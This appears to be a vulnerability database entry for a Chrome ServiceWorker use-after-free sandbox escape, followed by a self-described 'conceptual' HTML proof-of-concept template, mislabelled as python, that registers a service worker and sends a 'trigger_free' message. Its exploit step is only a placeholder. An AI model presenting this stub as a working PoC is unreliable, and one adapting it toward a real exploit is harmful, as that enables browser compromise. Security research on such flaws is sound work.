Use after free in ServiceWorker in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7922 (Conceptual)
This is a generic template for a ServiceWorker Use-After-Free.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7922 PoC</title>
</head>
<body>
<script>
// Register a ServiceWorker to trigger the vulnerable component
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('sw.js')
.then(function(registration) {
console.log('ServiceWorker registration successful');
// Step 1: Trigger the vulnerability condition (UAF)
// This often involves sending specific messages or handling events
// that cause the internal object to be freed while still referenced.
triggerUAF(registration);
})
.catch(function(err) {
console.log('ServiceWorker registration failed: ', err);
});
}
function triggerUAF(registration) {
// Simulate the interaction pattern that leads to UAF
var worker = registration.active;
if (worker) {
// Send a message that might trigger the free
worker.postMessage({ action: 'trigger_free' });
// Attempt to access the freed object or trigger GC
// followed by reuse to crash or gain control
setTimeout(() => {
exploitAttempt();
}, 100);
}
}
function exploitAttempt() {
// Placeholder for heap spray or memory corruption logic
// In a real exploit, this would involve precise memory layout control
console.log("Attempting to access freed memory...");
// Access violation or code execution would occur here
}
</script>
</body>
</html>